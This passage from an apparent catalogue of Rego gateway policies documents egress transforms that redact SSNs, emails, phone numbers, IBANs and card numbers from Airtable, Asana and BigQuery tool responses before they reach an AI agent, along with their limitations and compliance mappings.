**rashidazarang/airtable-mcp tool names are unverified.** The landscape note could not verify that 42-tool community server's per-tool names from source; its record-read tools are therefore **not** in the suffix set. If you run it, introspect its live tool names and add the record-read suffixes before relying on this policy against it. - **Base64 / attachment content cannot be regex-scanned.** Attachment fields return URLs, and any file content fetched separately is opaque to a text-pattern policy; PII inside binary attachments passes through untouched. - **Pattern-based detection is best-effort.** Conservative by design: SSNs are matched in hyphenated form only (bare 9-digit runs collide with Airtable record IDs and other numerics); phones only in E.164 or separator-formatted NANP shapes (bare 10-digit runs are not matched, and the NANP separator set is hyphen/dot/space only — a tab-, comma-, or slash-separated grouping is deliberately not matched); the national-ID class ships with the UK National Insurance shape only (uppercase) — add your jurisdictions' formats to `national_id_pattern`; the email pattern will also match `user@host` substrings inside URLs and connection strings (a documented false-positive cost). Because every pattern is `\b`-anchored, a value glued directly to surrounding word characters with no separator (e.g. a free-text notes field reading `NotesSSN123-45-6789end`) is **not** matched — the leading boundary fails. Obfuscated (e.g. full-width digits), split-across-blocks, spelled-out, or image-embedded values are not caught. Treat this as a high-signal minimum-necessary layer, not a complete DLP solution. - **Only string and MCP `{type,text}` content blocks are scanned.** PII that a gateway delivers under some other structured key (a content block that is an object with no string `text` field, or a non-string/non-object element such as a nested array) is not scanned and passes through. If your gateway emits such shapes, flatten them upstream or add an object-aware redaction step. - **Only array and bare-string `payload.text` shapes are scanned.** The two transform rules fire when `payload.text` is a content-block array or a bare string. If a gateway delivers the top-level `payload.text` as some other container (for example an object like `{"content": "..."}`), neither rule matches and the response passes through unredacted. This is not a shape the documented `tool_post_invoke` schema emits, but confirm your gateway's actual egress shape with the dump-input technique before relying on this. - **Comment reads are out of scope.** This policy scans record-read tools only. Comment-read surfaces (`list_comments`, and any `*recordComments*`-style reads on the official server) can carry customer emails/phones in comment bodies and are **not** redacted by this policy. If your agents read Airtable comments, add the comment-read suffixes to `pii_read_suffixes` or attach a companion egress redaction policy scoped to them. - **Suffix matching assumes the hyphen server-name prefix.** The suffix set is anchored with a leading hyphen (`-list_records`), matching the documented gateway naming `-`. A deployment that joins the prefix with a different separator, or exposes an unprefixed bare tool name, will not match and the response will pass through unredacted. Confirm the emitted names with the dump-input technique and adjust `pii_read_suffixes`. - **Group names are placeholders — replace `data-privileged` with your IdP's group name at import time.** The exemption expects the `groups` claim as an array of strings (a single bare string is also handled); a claim that is neither (e.g. an object) fails closed → redaction applies. If your IdP emits roles under a namespaced claim, adjust `caller_groups`. Missing claims always mean redaction applies — the failure mode is over-redaction, not disclosure. - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms (for example the `mask-pan-egress` companion) run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package airtable.egress.redact_pii # Transform-only egress policy: rewrites US SSNs, email addresses, phone # numbers (E.164 + NANP), and national-ID numbers in Airtable record-read # responses to a fixed [REDACTED] token before the response reaches the agent. # Never denies, and never touches the stored record — only the response copy. # Callers in the placeholder `data-privileged` IdP group receive unredacted # responses; the group check fails closed, so a caller with missing or # oddly-shaped claims gets over-redaction, never disclosure. default allow := true # ----------------------------------------------------------------------------- # Scope: the record-read tools of the two verified Airtable MCP server families # (official remote server: verbose `*_for_table` / `*_for_page` names; # domdomegg community server: terse names). The gateway prefixes tool names # with the configured MCP server name (e.g. `airtable-list_records_for_table`), # so we match by suffix; the leading hyphen keeps generic verbs from matching # unrelated tools once the prefix is stripped. Concise and verbose spellings # differ only by suffix, so each is listed explicitly. # ----------------------------------------------------------------------------- pii_read_suffixes := { # domdomegg community server (terse) / official remote server (verbose) "-list_records", "-list_records_for_table", "-list_records_for_page", "-search_records", "-get_record", "-get_record_for_page", # Official interactive record widget (records-returning; disabled by # default, but redacts safely when enabled). Distinct suffix from # -list_records_for_table, so it must be listed explicitly. "-display_records_for_table", } # Egress scope: match the post-invoke/output path on either mode or action. If # we keyed on input.mode alone and a gateway build left it unset, # is_pii_read_tool would silently fail and redaction would no-op (fail open, # leaking content). Ingress (tool_pre_invoke / mode "input") satisfies neither # branch, so it stays out of scope. is_egress if { input.mode == "output" } is_egress if { input.action == "tool_post_invoke" } # The tool name is exposed on egress under resource.name (PARC), # tool_metadata.name (legacy), and payload.name (tool-hook canonical). Collect # all three and match if ANY carries a record-read suffix — matching only a # subset would let a gateway that populates a different surface slip content # past the scanner. candidate_names contains lower(object.get(object.get(input, "resource", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "tool_metadata", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "payload", {}), "name", "")) is_pii_read_tool if { is_egress some suffix in pii_read_suffixes some n in candidate_names endswith(n, suffix) } # ----------------------------------------------------------------------------- # Group exemption — placeholder IdP group whose members receive unredacted # responses. Replace "data-privileged" with your IdP's group name at import # time. Claims are read via object.get(input.subject, "claims", {}); the # object.get chains mean a missing subject/claims/groups claim is never # exempt: the grant fails closed and redaction applies. # ----------------------------------------------------------------------------- exempt_groups := {"data-privileged"} caller_claims := object.get(object.get(input, "subject", {}), "claims", {}) caller_groups := object.get(caller_claims, "groups", []) is_exempt if { # Only an array of group strings grants the exemption. The is_array guard # is load-bearing: `some g in caller_groups` over an OBJECT iterates its # values, so a namespaced/metadata claim like {"department": "sales"} would # else wrongly exempt the caller. is_string(g) keeps nested/non-string # elements from matching. Anything but a clean array of strings fails # closed -> redact. is_array(caller_groups) some g in caller_groups is_string(g) lower(g) in exempt_groups } is_exempt if { # Some IdPs emit a single group as a bare string rather than an array. is_string(caller_groups) lower(caller_groups) in exempt_groups } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives on # Airtable record IDs (rec...), base/table IDs (app.../tbl...), and dates. # ----------------------------------------------------------------------------- # Standard email address shape: local part, @, domain, 2+ letter TLD. Word- # boundary anchored so it never fires inside longer alphanumeric runs and never # eats the surrounding JSON quotes. email_pattern := `\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b` # US SSN in the canonical hyphenated form only. Bare 9-digit runs collide with # record IDs and raw numeric fields, so they are deliberately not matched. ssn_pattern := `\b\d{3}-\d{2}-\d{4}\b` # National-ID class: UK National Insurance number — two prefix letters # (excluding D, F, I, Q, U, V), six digits, suffix letter A-D. Uppercase only; # add your jurisdictions' national-ID shapes alongside this one. national_id_pattern := `\b[A-CEGHJ-PR-TW-Z]{2}[0-9]{6}[A-D]\b` # E.164 international numbers: a leading + and 8-15 contiguous digits, the first # non-zero. Anchored on the + so it never matches bare digit runs / IDs. e164_pattern := `\+[1-9]\d{7,14}\b` # Separator-formatted NANP phone numbers (e.g. 206-555-0100, (206) 555-0100, # (206)555-0100, +1 206.555.0100). A parenthesized area code may be followed by # an optional separator; a bare area code still requires a separator, so bare # 10-digit runs are deliberately not matched. nanp_pattern := `(?:\+?1[-. ])?(?:\(\d{3}\)[-. ]?|\b\d{3}[-. ])\d{3}[-. ]\d{4}\b` # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings (regex.replace returns the input # unchanged when its pattern doesn't match), so the steps chain safely. Every # class maps to the same [REDACTED] token per the policy spec. # ----------------------------------------------------------------------------- redact_emails(t) := regex.replace(t, email_pattern, "[REDACTED]") redact_ssns(t) := regex.replace(t, ssn_pattern, "[REDACTED]") redact_national_ids(t) := regex.replace(t, national_id_pattern, "[REDACTED]") redact_e164(t) := regex.replace(t, e164_pattern, "[REDACTED]") redact_nanp(t) := regex.replace(t, nanp_pattern, "[REDACTED]") # Order matters: emails first, so the digit patterns can never half-eat a # digit-bearing local part; then SSNs (tightest digit shape), national IDs # (alphanumeric, disjoint from the digit patterns), E.164 (anchored on +), and # separator-formatted NANP last (loosest). redact_text(t) := redact_nanp(redact_e164(redact_national_ids(redact_ssns(redact_emails(t))))) # Helper: the inner `text` string of an MCP structured content block # ({"type":"text","text":"..."}); undefined for anything else. block_text(b) := t if { is_object(b) t := object.get(b, "text", null) is_string(t) } # Plain-string content blocks: redact in place. redact_block(b) := redact_text(b) if { is_string(b) } # MCP-standard structured text content blocks {"type":"text","text":"..."}: # redact the inner `text` string and preserve every other key (type, # annotations). Without this branch, record content delivered as content-block # OBJECTS (a canonical MCP wire shape) would slip past a string-only redactor # untouched — the exact PII this policy targets, leaked verbatim. redact_block(b) := object.union(b, {"text": redact_text(bt)}) if { not is_string(b) bt := block_text(b) } # Any other block — an object with no string `text` field, or a non-string / # non-object value — passes through unmodified. The policy makes no claim over # arbitrary structured data whose PII lives under other keys. redact_block(b) := b if { not is_string(b) not block_text(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope, the caller is not exempt, and at # least one block actually changed. Otherwise the rule is undefined and the # aggregator skips this policy, returning the response byte-identical. # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_pii_read_tool not is_exempt is_array(text_blocks) redacted_blocks != text_blocks } # Some gateways/tools emit `payload.text` as a bare string rather than a # content-block array. Redact that shape too (string in, string out — the # rewrite is shape-preserving) so PII is not leaked on this fail-open path. # Mutually exclusive with the array rule above (is_string vs is_array), so the # two complete-value transform rules never both fire. transform := { "transformed_payload": object.union(response_payload, {"text": redacted_text}), } if { is_pii_read_tool not is_exempt is_string(text_blocks) redacted_text := redact_text(text_blocks) redacted_text != text_blocks } ``` ### Asana: Redact PII in Task & Comment Reads URL: https://www.intentbasedpolicy.com/policies/asana/redact-task-pii App(s): asana | Direction: egress | Bundles: soc2, gdpr-ccpa | Package: asana.egress.redact_task_pii | Published: 2026-07-12 | Tags: asana, redact-pii, pii, dlp, redaction, egress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/asana/redact-task-pii/policy.md # asana / redact-task-pii **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — redacts PII on read responses; never denies) **Package:** `asana.egress.redact_task_pii` ## What it does On the Asana MCP read path, this transform scans the free-text business fields that ride back in task, comment/story, and status-update responses — `notes`, `html_notes`, comment/story `text`, and status-update bodies — and rewrites direct identifiers to fixed redaction tokens before the payload reaches the agent: | Class | Detection | Token | |---|---|---| | US SSN | hyphenated `XXX-XX-XXXX` form | `[REDACTED-SSN]` | | Email address | standard `local@domain.tld` shape | `[REDACTED-EMAIL]` | | US phone number | separator-formatted (`206-555-0100`, `(206) 555-0100`, `(206)555-0100`, `+1 206.555.0100`) | `[REDACTED-PHONE]` | | IBAN | electronic-format `CC kk BBAN` (2 letters + 2 check digits + 11–30 alphanumerics) | `[REDACTED-IBAN]` | Each class is matched independently — a lone email, phone, SSN, or IBAN is redacted on its own. Matches are replaced in place, so structural fields (task GIDs, project/section structure, non-PII field values) stay intact and the agent can still reason over the rest of the task. This is a transform: it never denies a read, and responses with no match (and all out-of-scope tools) pass through byte-identical. Asana is routinely used for HR (hiring, performance, offboarding), legal, M&A, and incident projects, so task bodies, comments, and status updates carry PII and confidential material as plain free text. Because `search_tasks` / `search_objects` span everything the connecting OAuth user can see, egress of these read tools is the primary leak-reduction surface named in the Asana landscape note — sensitivity is a property of the task/project, not the tool, so regulated data rides back in a *generic* read regardless of which task produced it. This makes egress redaction the primary minimum-necessary control on the Asana read path, defense-in-depth behind any ingress project fence. ### Redaction exemption group Callers whose IdP `groups` claim contains `privacy-officer` (a placeholder name — see Known limitations) receive **unredacted** read responses, so authorized reviewers still see raw values. The check reads claims via `object.get(input.subject, "claims", {})` then `object.get(..., "groups", [])`: a missing subject, missing claims, missing `groups`, or a `groups` claim that is not a clean array/string of names means the caller is *not* exempt and redaction applies — the grant fails closed. The failure mode is over-redaction, never disclosure. ## Compliance alignment Instantiates egress PII redaction (family PF-02) for Asana and supports alignment with: - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers in task/comment/status content as it leaves the gateway toward the agent; **C1.1** — supports identification and protection of confidential information on the read path; **P4.1** — supports limiting personal-information use to identified purposes; **P6.1** — supports controls over personal-information disclosure to parties (here, the agent) that do not need raw identifiers. - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of personal data; **Art. 9** — reduces special-category exposure on the MCP path where identifiers co-occur with health/HR content in task bodies and comments; **Art. 5(1)(f) / Art. 32** — supports security of processing. - **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information (SSN, financial account identifiers) on the agent channel; **§1798.150** — reduces nonredacted-PI breach exposure. ## Why egress The PII already lives in Asana — there is nothing to block at ingress on a generic task or search read, and denying reads outright would make the agent useless for everyday work-management tasks. The leak happens when task, comment, and status text is returned to the MCP client, so the response path is the only place to catch it while keeping the content useful. This complements — not replaces — an ingress project fence. ## Tool name matching Applies on the output path — scoped when either `input.mode == "output"` or `input.action == "tool_post_invoke"` holds, so redaction still fires on a gateway build that populates only one of the two (keying on `mode` alone would fail open if it were unset). The tool name is read from `input.resource.name` (the PARC egress surface, populated on `tool_post_invoke`) and lower-cased. Matching is **suffix-based and separator-anchored**: a scope suffix matches when the tool name equals it, or ends with `-` or `_` (the two realistic gateway prefix separators). This is what lets one suffix cover both Asana naming styles behind any gateway server prefix — the official V2 server dropped the `asana_` prefix and uses bare snake_case verbs (`get_task`), while the community `roychri`/`cristip73` servers keep it (`asana_get_task`). The bare official name matches by equality or a `-`/`_` gateway separator; the community name matches because `asana_get_task` ends with `_get_task`. Unlike a plain `endswith`, separator anchoring does **not** over-match a longer word that merely ends in the suffix (e.g. a hypothetical `forget_task` is not caught by the `get_task` suffix). **Redaction scope** (Asana read tools whose responses carry task/comment/status free-text): - Official V2 server: `get_task`, `get_tasks`, `get_my_tasks`, `search_tasks`, `search_objects`, `get_status_overview`, `get_attachments` - Community (`roychri`/`cristip73`): `asana_get_task`, `asana_get_my_tasks`, `asana_search_tasks`, `asana_get_multiple_tasks_by_gid`, `asana_get_task_stories`, `asana_get_subtasks`, `asana_get_tasks_for_project`, `asana_get_project_status`, `asana_get_project_statuses` `get_my_tasks`, `get_subtasks`, and `get_tasks_for_project` are in scope for the same reason as `get_task`/`get_tasks`: they all return task objects whose `notes`/`html_notes` free-text carries the same identifiers — an agent must not be able to sidestep redaction by reading tasks through a different verb. The suffix set uses the community core verbs (e.g. `get_task_stories`, `get_multiple_tasks_by_gid`, `get_project_status`, `get_project_statuses`) so the same rule matches whether the tool arrives bare, `asana_`-prefixed, or behind a gateway server prefix. `get_project_status` and `get_project_statuses` are listed separately because separator-anchored matching treats them as distinct suffixes (the singular is not a suffix of the plural). Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production, and extend `pii_read_suffixes` for any other content-returning Asana read your deployment exposes (see Known limitations). ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each block. It handles the two content-block shapes a gateway realistically emits: - **Plain-string blocks** (`"text": ["...task JSON or comment body..."]`) are redacted directly. Because Asana task reads serialize `notes` / `html_notes` and story `text` into the response text, the regexes run over that serialized JSON and catch the values without needing to parse it. - **MCP-standard structured text blocks** (`{"type":"text","text":"..."}`) have their inner `text` string redacted while every other key is preserved. Any other block (an object with no string `text` field, or a non-string / non-object value) passes through unmodified — the policy makes no claim over arbitrary structured data whose PII sits under other keys. When at least one block changes, the policy emits `transform.transformed_payload` with the rewritten `text` array (all other payload keys, including `name`, preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. Note `text` must be an **array**: a gateway that returns a bare scalar string under `payload.text` (off the documented shape) is not rewritten — see Known limitations. ## Argument shape This is an egress policy; it inspects `input.payload.text` (response content), not request args. Identity is read from `input.subject.claims.groups` via `object.get` chains. No request-argument assumptions are made. ## Examples ### Redacted (in-scope task read, non-exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "asana-mcp-get_task", "type": "tool" }, "subject": { "sub": "auth0|u1", "claims": { "groups": ["engineering"] } }, "payload": { "name": "asana-mcp-get_task", "text": ["{\"notes\":\"Reach jane@acme.com or 206-555-0100; SSN 123-45-6789\"}"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["{\"notes\":\"Reach [REDACTED-EMAIL] or [REDACTED-PHONE]; SSN [REDACTED-SSN]\"}"]`. ### Passed through (exempt caller) A caller whose `groups` includes `privacy-officer` receives task content unredacted (`allow = true`, no `transform`). ### Passed through (out of scope / no match) A non-read tool, or an in-scope read whose text contains no matching identifier, returns `allow = true` with no `transform` — the response is byte-identical. ## Composition Transform-only (`default allow := true`); it composes cleanly on the Asana egress pipeline and never blocks a read. Recommended companions in `apps/asana`: - An ingress **project fence** (`fence-sensitive-projects`) so the agent only reads projects it is entitled to. This egress redactor is defense-in-depth behind that fence — even a reader authorized for a project should not stream raw identifiers into model context. - **`freeze-destructive-ops`** / **`cap-batch-mutation`** for the ingress destructive and mass-mutation surfaces that this read-path policy does not touch. ## Known limitations - **Pattern-based detection is best-effort and conservative by design.** SSNs are matched in hyphenated `XXX-XX-XXXX` form only — space- or dot-separated forms (`123 45 6789`, `123.45.6789`) and bare 9-digit runs (which collide with Asana numeric GIDs) are **not** matched; phone numbers only in separator-formatted US shapes (the parenthesized area-code form matches with or without a separator before the local number, e.g. `(206)555-0100`); IBANs only in compact electronic format (`DE89370400440532013000`) — the space-grouped print form (`DE89 3704 0044 0532 0130 00`) is **not** matched, and the country code must be uppercase. `\b`-anchored identifiers that abut a word character — a run-on like `id123-45-6789`, a Markdown-italic `_123-45-6789_` — are **not** matched. Non-ASCII digit forms escape (RE2 `\d` is ASCII-only). Obfuscated, spelled-out, split-across-blocks, or base64-encoded values are not caught. The IBAN pattern may also over-match an uppercase reference code that happens to fit the `CCkk` + long-alphanumeric shape. Treat this as a high-signal minimum-necessary layer, not a complete DLP solution. - **Regex over rendered text will miss custom-format identifiers, and may not reach PII nested inside `custom_fields` values.** Asana custom fields frequently hold salary bands, deal values, and customer identifiers; when those are returned inside structured blocks or under keys the response serializer does not flatten into scanned text, they stream through unredacted. This behavior is documented but **not** schema-verified (per-parameter Asana V2 schemas are only available via a live `tools/list`). Fence sensitive projects at ingress where custom-field exposure matters. - **Block coverage and the `text`-array assumption.** Redaction applies to plain-string entries of `input.payload.text` (including serialized-JSON strings) **and** to MCP-standard structured text blocks (`{"type":"text","text":"..."}`). Blocks that are objects with **no string `text` field** (a custom `{"field":"ssn","value":"…"}` shape, an image/audio block, or a nested array of sub-blocks) pass through unmodified and stream any embedded identifiers verbatim. A bare scalar string under `payload.text` (off-spec) fails the `is_array` transform guard and is **not** rewritten (a fail-open residual on an off-spec shape). Confirm your gateway's block shape with the dump-input technique. - **Redaction covers only the listed read tools.** Other content-returning Asana reads (`get_project` / `get_projects`, portfolio readers `get_portfolio` / `get_items_for_portfolio`, and the cristip73 attachment-download surface `asana_download_attachment`) stream body content verbatim and are **not** redacted here — the scope is task/comment/status free-text, not project- or portfolio-level notes. Add tools your deployment exposes to `pii_read_suffixes`, or fence them at ingress. Asana's tool set also drifts over time (25 on the docs page vs 42–44 in third-party catalogs), so re-verify the read surface periodically. - **Tool name is read only from `input.resource.name`.** If your gateway build populates the egress tool name only under `input.tool_metadata.name` and leaves `resource.name` empty, this policy will not match — extend `resource_name` to union the other egress surfaces (see the monday/box redact policies for that variant). - **This is an egress transform, so the upstream read still executes** — only the response is rewritten before it reaches the model. The data was read from Asana; it is masked on the way to the agent, not prevented from being fetched. - **Group names are placeholders — replace `privacy-officer` with your IdP's group name at import time.** The check accepts a `groups` claim shaped as an array of strings (a single bare string is also handled); any other shape fails closed (redaction applies). A missing subject/claims/`groups`, an object/map (e.g. a namespaced `{"department":"privacy-officer"}` claim — the `is_array` guard stops its *values* being read as group names), and nested/non-string array elements are all treated as *not exempt*. This placeholder is **not** the ContextForge-internal `is_admin`/`teams`/`user` claims (which are stripped before reaching a policy and must never be used for gating). - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package asana.egress.redact_task_pii # Transform-only egress policy: rewrites PII in Asana task/comment/status read # responses to fixed redaction tokens before the response reaches the agent. # Never denies. Callers in the placeholder privacy-officer IdP group receive # unredacted responses. default allow := true # ----------------------------------------------------------------------------- # Egress scope. Match the post-invoke/output path on either mode or action: if we # keyed on input.mode alone and a gateway build left it unset, the scope checks # would silently fail and redaction would no-op (fail open, leaking content). # Ingress (tool_pre_invoke / mode "input") satisfies neither branch. # ----------------------------------------------------------------------------- is_egress if { input.mode == "output" } is_egress if { input.action == "tool_post_invoke" } # The egress tool name, from the PARC resource.name surface, lower-cased. Read via # object.get chains so a missing resource/name yields "" rather than a rule error. resource_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # Separator-anchored suffix match: the tool name equals the suffix, or ends with # `-` or `_` (the two realistic gateway prefix separators). This # covers the bare official verb (`get_task`), the community `asana_`-prefixed name # (`asana_get_task` ends with `_get_task`), and either behind a gateway server # prefix. Unlike a bare endswith, it never over-matches a longer word that merely # ends in the suffix (e.g. `get_task` won't match `forget_task`). name_has_suffix(n, s) if { n == s } name_has_suffix(n, s) if { endswith(n, concat("", ["-", s])) } name_has_suffix(n, s) if { endswith(n, concat("", ["_", s])) } # ----------------------------------------------------------------------------- # Redaction scope: Asana read tools whose responses carry task/comment/status # free-text (notes, html_notes, story text, status-update bodies). Suffixes are # the community core verbs so one entry matches the official bare verb, the # `asana_`-prefixed community name, and either behind a gateway prefix. # ----------------------------------------------------------------------------- pii_read_suffixes := { # Official V2 server (bare snake_case verbs) "get_task", "get_tasks", "get_my_tasks", "search_tasks", "search_objects", "get_status_overview", "get_attachments", # Community roychri/cristip73 core verbs (also cover asana_-prefixed forms) "get_multiple_tasks_by_gid", "get_task_stories", "get_subtasks", "get_tasks_for_project", "get_project_status", "get_project_statuses", } is_pii_read_tool if { is_egress some suffix in pii_read_suffixes name_has_suffix(resource_name, suffix) } # ----------------------------------------------------------------------------- # Identity. Placeholder IdP group name — replace at import time. Claims are read # via object.get chains so a missing subject/claims/groups is never a grant: the # redaction exemption fails closed (redaction applies) on any unexpected shape. # ----------------------------------------------------------------------------- caller_claims := object.get(object.get(input, "subject", {}), "claims", {}) caller_groups := object.get(caller_claims, "groups", []) # Members receive UNREDACTED read responses. exempt_groups := {"privacy-officer"} # group_matches(set): true iff caller_groups (array of strings, or a bare string) # contains a name in `set`. The is_array guard is load-bearing: `some g in obj` # iterates an object's VALUES, so a namespaced claim like # {"department":"privacy-officer"} would else wrongly match. is_string(g) blocks # nested/non-string elements. Any other shape fails closed. group_matches(want) if { is_array(caller_groups) some g in caller_groups is_string(g) lower(g) in want } group_matches(want) if { is_string(caller_groups) lower(caller_groups) in want } is_exempt if { group_matches(exempt_groups) } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives on # Asana numeric GIDs. # ----------------------------------------------------------------------------- # US SSN in the canonical hyphenated form only. Bare 9-digit runs collide with # Asana numeric GIDs, so they are deliberately not matched. ssn_pattern := `\b\d{3}-\d{2}-\d{4}\b` # Standard email address shape: local part, @, domain, 2+ letter TLD. Word-boundary # anchored so it never fires inside longer alphanumeric runs. email_pattern := `\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b` # Separator-formatted US phone numbers (206-555-0100, (206) 555-0100, # (206)555-0100, +1 206.555.0100). A parenthesized area code is itself a strong # signal, so the separator after `)` is optional; a bare area code still requires # a following separator, so contiguous digit runs (GIDs) and dotted version # strings are not matched. phone_pattern := `(?:\+?1[-. ])?(?:\(\d{3}\)[-. ]?|\b\d{3}[-. ])\d{3}[-. ]\d{4}\b` # IBAN in compact electronic format: 2-letter uppercase country code, 2 check # digits, then 11-30 alphanumerics (BBAN). Total 15-34 chars per ISO 13616. The # space-grouped print form is intentionally not matched (conservative); the # country code must be uppercase. iban_pattern := `\b[A-Z]{2}\d{2}[A-Z0-9]{11,30}\b` # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class doesn't apply, so the steps chain safely. The classes are # shape-disjoint (SSN/phone need separators, email needs `@`, IBAN needs a # leading 2-letter uppercase + 2-digit head), so order is not load-bearing. # ----------------------------------------------------------------------------- redact_ssn(t) := regex.replace(t, ssn_pattern, "[REDACTED-SSN]") redact_email(t) := regex.replace(t, email_pattern, "[REDACTED-EMAIL]") redact_phone(t) := regex.replace(t, phone_pattern, "[REDACTED-PHONE]") redact_iban(t) := regex.replace(t, iban_pattern, "[REDACTED-IBAN]") redact_text(t) := redact_iban(redact_phone(redact_email(redact_ssn(t)))) # Helper: the inner `text` string of an MCP structured content block # ({"type":"text","text":"..."}); undefined for anything else. block_text(b) := t if { is_object(b) t := object.get(b, "text", null) is_string(t) } # Plain-string content blocks: redact in place. redact_block(b) := redact_text(b) if { is_string(b) } # MCP-standard structured text content blocks {"type":"text","text":"..."}: redact # the inner `text` string and preserve every other key. Without this branch, # content delivered as content-block OBJECTS (the canonical MCP wire shape) would # slip past a string-only redactor untouched. redact_block(b) := object.union(b, {"text": redact_text(bt)}) if { not is_string(b) bt := block_text(b) } # Any other block — an object with no string `text` field, or a non-string / # non-object value — passes through unmodified. redact_block(b) := b if { not is_string(b) not block_text(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in redaction scope, the caller is not exempt, the # payload text is an array, and at least one block actually changed. Otherwise the # rule is undefined and the aggregator skips this policy, returning the response # byte-identical. # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_pii_read_tool not is_exempt is_array(text_blocks) redacted_blocks != text_blocks } ``` ### BigQuery: Redact PII in Query Results URL: https://www.intentbasedpolicy.com/policies/bigquery/redact-pii-egress App(s): bigquery | Direction: egress | Bundles: soc2, hipaa, gdpr-ccpa | Package: bigquery.egress.redact_pii | Published: 2026-07-12 | Tags: bigquery, redact-pii, pii, dlp, redaction, egress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/bigquery/redact-pii-egress/policy.md # bigquery / redact-pii-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `bigquery.egress.redact_pii` ## What it does Scans the content returned by BigQuery's result-returning tools and rewrites high-confidence PII shapes to fixed, non-recoverable redaction tokens before the response reaches the agent: | Class | Detection | Token | |---|---|---| | US SSN | hyphenated `\d{3}-\d{2}-\d{4}` form | `[REDACTED-SSN]` | | Payment card (PAN) | 16-digit 4×4 groups, **Luhn-validated** in Rego | `[REDACTED-CARD]` | | Email address | `local@domain.tld` shape | `[REDACTED-EMAIL]` | Matches are replaced in place over the serialized result content, so the row structure the agent sees stays intact — only the identifier substrings change. The policy is transform-only: it never denies a call. Responses with no matches, calls by exempt callers, and all out-of-scope tools pass through unchanged. Every response field is read via `object.get`, so a missing or oddly-shaped payload is never an error — it simply passes through. Every BigQuery read is a bulk read: a single `SELECT` can return an entire table, up to the server's ~3,000-row result cap. Redaction masks the *identifiers* in whatever comes back, but it does not bound *how much* comes back. To blunt bulk exfiltration, the policy also ships an **optional row-truncation guard** (see below) that clamps oversized JSON-array result blocks to a configured row count. ### Group exemption Callers whose IdP `groups` claim contains `pii-full-read` (a placeholder name — see Known limitations) receive the **full, unredacted, untruncated** response. The check reads `input.subject.claims.groups` via `object.get` chains: a missing subject, missing claims, or missing `groups` claim means the caller is *not* exempt and the transform applies — the grant fails closed. The safe failure mode is over-redaction, never disclosure. ### Optional row-truncation guard A configurable ceiling (`row_cap` in `policy.md`, default **1000**) bounds how many rows a single result can hand the agent. When a content block is a serialized JSON array longer than `row_cap`, it is truncated to the first `row_cap` elements and a `{"notice": …}` element is appended so the agent knows the result is policy-bounded. Set `row_cap := 0` to disable truncation and run redaction only, or raise it toward the ~3,000-row server cap. Truncation runs *before* redaction, so redaction only scans the rows that survive the cap. Exempt (`pii-full-read`) callers bypass truncation along with redaction. ## Compliance alignment - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers in query results as they leave the gateway toward the agent; **C1.1** — supports identification and protection of confidential information on the read path; **P4.1** — supports limiting personal-information use to identified purposes; **P6.1** — supports controls over personal-information disclosure by keeping raw identifiers out of agent context that does not need them. - **HIPAA §164.502(b) / §164.514(d)** — supports the minimum-necessary standard with role-based limits: only placeholder `pii-full-read` group members see raw identifiers; everyone else gets working result rows with identifiers masked. **§164.514(a)–(b)** — supports de-identification practice by stripping Safe-Harbor identifier classes (SSN, account/card numbers, email) from warehouse reads; **§164.530(c)** — supports privacy safeguards on the agent channel. - **PCI DSS 3.4.1** — supports masking PAN on display by redacting Luhn-validated card numbers in query results before they reach the agent (this is display-side masking — see Known limitations); **3.4.2** — supports the prohibition on relocating PAN via remote access by masking card numbers on the agent read path. - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of personal data; **Art. 9** — reduces special-category exposure on the MCP path where identifiers co-occur with health/HR columns in warehouse tables; **Art. 5(1)(f) / Art. 32** — supports security of processing. **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information (SSN, financial account numbers) on the agent channel; **§1798.150** — reduces nonredacted-PI breach exposure. ## Why egress The PII already lives in the warehouse — there is nothing to block at ingress, and denying `SELECT`s outright would make the agent useless for analytics. The leak happens 